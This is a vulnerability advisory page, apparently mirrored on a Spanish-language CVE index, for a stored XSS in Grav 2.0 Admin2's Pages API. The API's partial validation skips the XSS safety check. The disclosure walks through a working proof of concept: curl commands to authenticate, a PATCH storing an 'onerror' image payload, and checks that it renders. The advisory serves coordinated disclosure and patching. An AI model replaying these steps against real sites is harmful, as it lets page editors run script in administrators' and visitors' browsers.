GHSA-5WC5-7V9G-F7V6
Grav 2.0.0-rc.9 / Admin2 2.0.0-rc.14 - Stored XSS via missing XSS safety check in Admin2 Pages API partial validation
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N
Fuente: GitHub
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-5WC5-7V9G-F7V6 divulgada · CVSS 5.1 (GitHub) | |
| Monitoreo | Detectada | Ingresó al índice | |
| Monitoreo | Verificada | Última verificación contra las fuentes |
My name is Oscar Uribe, Security Researcher at Fluid Attacks. I am reaching out because we have identified a security vulnerability in Grav 2.0.0-rc.9 that we would like to report to you so we can coordinate a responsible disclosure together.
As part of our standard disclosure measures, we follow a timeline (outlined at https://fluidattacks.com/advisories/policy), which is aligned with ISO/IEC 29147:2018 and ISO/IEC 30111:2019. In short, the timeline works as follows: we ask for acknowledgment of the report within a few days of your first accessing it, and from there, we are happy to coordinate a joint disclosure date with you, typically within 90 days of the initial discovery. This gives your team reasonable time to assess, develop, and release a fix.
We have reserved the CVE ID "CVE-2026-11982" for this issue, and the advisory will eventually be published at https://fluidattacks.com/advisories/luis. We are committed to coordinating the timing of that publication with you.
Please feel free to reach out if you have any questions about the report, the process, or the timeline. We are glad to work with you on this.
## Description
Grav 2.0.0-rc.9 with Admin2 2.0.0-rc.14 contains a stored cross-site scripting (XSS) vulnerability in the Admin2 Pages API save flow.
An authenticated non-superadmin user with page write permissions can persist arbitrary HTML event-handler JavaScript in page Markdown content through `PATCH /api/v1/pages/{route}`. The payload is stored in the page file and later rendered in the public frontend without sanitization. Any visitor who opens the affected page, including an authenticated administrator, executes the attacker-controlled JavaScript in the site's origin.
The issue is not that Grav's `Security::detectXss()` detector fails to recognize the payload. In the tested branch, the detector correctly flags unquoted event attributes as `on_events`. The vulnerable behavior is that the Admin2/API partial page validation path validates changed fields with `Validation::validate()` but does not run the XSS safety check (`Validation::checkSafety()`) before saving page content.
This makes the issue distinct from GHSA-9695-8fr9-hw5q / CVE-2026-42612, which addressed the `on_events` detector regex bypass in earlier Grav versions. The tested Grav 2.0 branch includes that detector fix, but the Admin2/API page save path still allows the same class of dangerous content to be persisted.
## Why the Existing Patch Does Not Fully Mitigate This Issue
The existing upstream patch for GHSA-9695-8fr9-hw5q / CVE-2026-42612 updates the `Security::detectXss()` `on_events` pattern so unquoted event-handler attributes such as `<img src=x onerror=alert(1)>` are detected.
That patch is present in the tested `origin/2.0` worktree and works at the detector level:
Security::detectXss("<img src=x onerror=alert(1)>") => "on_events"
bin/grav security => /typography -> content: "on_events"However, the Admin2/API page save flow does not rely on the full blueprint validation path that executes `Validation::checkSafety()`. Instead, `PATCH /api/v1/pages/{route}` uses partial changed-field validation through `validateChangedFields()`. That helper calls `Validation::validate()` for the submitted `content` field, but it does not call `Validation::checkSafety()`, where `Security::detectXss()` is actually enforced against field values.
As a result, the patched detector correctly identifies the payload when invoked directly or through `bin/grav security`, but the Admin2/API save path never invokes that detector before `$page->save()`. The payload is therefore accepted with `HTTP/1.1 200 OK`, written to the Markdown file, and rendered/executed later on the public page.
This was validated end-to-end against Grav 2.0.0-rc.9 with Admin2 2.0.0-rc.14 and API plugin 1.0.0-rc.14.
## Vulnerability
### Source -> sink path
- Source - authenticated page update request
A user with `api.pages.write` can update page content through the Admin2 backend API:
```http
PATCH /api/v1/pages/typography
X-API-Token: <valid JWT>
Content-Type: application/json
{
"content": "...\\n\\n### XSS PoC\\n<img src=x onerror=alert(1)>\\n"
}
```
- In-memory assignment before save
`PagesController::update()` copies request-controlled `content` directly into the page object:
```php
if (array_key_exists('content', $body)) {
$page->rawMarkdown($body['content']);
}
```
Relevant code:
- `user/plugins/api/classes/Api/Controllers/PagesController.php:480-482`
- Partial validation path omits XSS safety check
Before saving, `PagesController::update()` calls:
```php
$this->validatePageChanges($page, $body);
$page->save();
```
`validatePageChanges()` maps the submitted `content` field into a `$changes` array and delegates to `validateChangedFields()`:
```php
if (array_key_exists('content', $body)) {
$changes['content'] = $body['content'];
}
$this->validateChangedFields($changes, $page->getBlueprint());
```
`validateChangedFields()` then calls `Validation::validate($value, $field)` for each changed field. It does not call `Validation::checkSafety($value, $field)`, which is the method that invokes `Security::detectXss()` for field values.
Relevant code:
- `user/plugins/api/classes/Api/Controllers/PagesController.php:537-542`
- `user/plugins/api/classes/Api/Controllers/PagesController.php:2275-2292`
- `user/plugins/api/classes/Api/Controllers/AbstractApiController.php:193-219`
- `system/src/Grav/Common/Data/Validation.php:108-152`
- Existing XSS detector is present but not enforced in this save path
The tested 2.0 branch contains the fixed `on_events` detector:
```php
'on_events' => '#<[^>]*?[\s\x00-\x20\"\'\/](on\s*[a-z]+|xmlns)\s*=#iu',
```
The page blueprint also includes an `xss_check` field:
```yaml
xss_check:
type: xss
```
However, the Admin2/API partial validation path does not execute the XSS safety check before persisting page content.
Relevant code:
- `system/src/Grav/Common/Security.php:232-242`
- `system/blueprints/pages/default.yaml:23-36`
- Public rendering sink
After the page is saved, the public frontend renders the stored Markdown as HTML. The payload appears in the response as:
```html
<h3>XSS PoC Luis 2.0</h3>
<img src=x onerror=alert(1)>
```
The browser executes the `onerror` handler when the broken image loads.
### Access control
This is not an unauthenticated vulnerability. Exploitation requires an authenticated account with page write privileges.
The tested account was not a super administrator:
access:
admin:
login: true
api:
access: true
pages:
read: true
write: true
site:
login: trueThe API token response confirmed:
super_admin: false
api.pages.read: true
api.pages.write: trueBecause the account is not `admin.super`, it is not covered by the default XSS whitelist.
### Impact
An authenticated page editor can store JavaScript in a published page. The payload executes for any user who opens the affected page, including unauthenticated visitors and authenticated administrators.
Potential impact includes:
- Executing arbitrary JavaScript in the trusted site origin.
- Performing same-origin requests using the victim's browser session.
- Modifying page content or administrative state if the victim has sufficient permissions and the targeted endpoints accept same-origin authenticated requests.
- Reading same-origin data accessible to the victim's browser context.
`HttpOnly` cookies reduce direct cookie theft but do not prevent the injected JavaScript from sending authenticated same-origin requests through the victim browser.
### Severity according to Grav trust-boundary guidelines
Under Grav's security-severity policy, this should be treated as a cross-trust-boundary issue rather than as expected publisher behavior.
The actor who stores the payload is a non-superadmin page editor with `api.pages.write`. That role is trusted to edit page content, but it is not trusted to execute arbitrary JavaScript in other users' browser sessions. Once the payload is published, the code executes for any viewer of the page. If a super-admin or administrator views the affected page while authenticated to the same Grav origin, the lower-privilege editor's stored content runs inside that higher-privilege browser session.
## PoC
### Preconditions
- Grav 2.0.0-rc.9 running locally.
- Admin2 2.0.0-rc.14 and API plugin 1.0.0-rc.14 installed.
- Admin2 route available at `/admin`.
- API prefix configured as `/api/v1`.
- A non-superadmin user with `api.pages.read` and `api.pages.write`.
Step 1 - Authenticate to the API
curl -sS -X POST http://127.0.0.1:8082/api/v1/auth/token \
-H 'Content-Type: application/json' \
--data '{"username":"editor2","password":"Editor123A"}'Expected result:
- API returns an access token.
- The user is not a super administrator.
Step 2 - Get the page content
TOKEN='<access_token>'
curl -sS http://127.0.0.1:8082/api/v1/pages/typography \
-H "X-API-Token: $TOKEN"Expected result:
- API returns the page object and raw Markdown `content`.
Step 3 - Store the XSS payload
Send a partial page update with attacker-controlled Markdown content:
curl -i -X PATCH http://127.0.0.1:8082/api/v1/pages/typography \
-H "X-API-Token: $TOKEN" \
-H 'Content-Type: application/json' \
--data '{"content":"### XSS PoC Luis 2.0\n<img src=x onerror=alert(1)>\n"}'Expected result:
- Vulnerable behavior: `HTTP/1.1 200 OK`.
- The payload is written to the page file.
- No `422 Unprocessable Entity` XSS validation error is returned.
Step 4 - Verify persistence
rg -n "XSS PoC Luis 2.0|onerror=alert" user/pages/02.typography/default.mdObserved result:
179:### XSS PoC Luis 2.0
180:<img src=x onerror=alert(1)>Step 5 - Verify public rendering
curl -sS http://127.0.0.1:8082/typography | rg -n "XSS PoC Luis 2.0|onerror=alert" -C 2Observed result:
<h3>XSS PoC Luis 2.0</h3>
<img src=x onerror=alert(1)>Step 6 - Verify JavaScript execution
Open the public page in a browser:
http://127.0.0.1:8082/typographyExpected result:
- The browser executes the stored `onerror` handler and displays `alert(1)`.
Evidence of Exploitation
- Video of exploitation:
https://github.com/user-attachments/assets/9a7d691c-f3cb-40f8-a50c-1a4826eb298a
## System Information
Grav CMS
Version: 2.0.0-rc.9
Admin2 plugin: 2.0.0-rc.14
API plugin: 1.0.0-rc.14
Operating System: Any
Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Desglose de métricas
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Packagistgetgrav/grav-plugin-api |
Corregida | 1.0.0-rc.15 | — | — |
1.0.0-rc.15Arsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://github.com/getgrav/grav/security/advisories/GHSA-5wc5-7v9g-f7v6Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
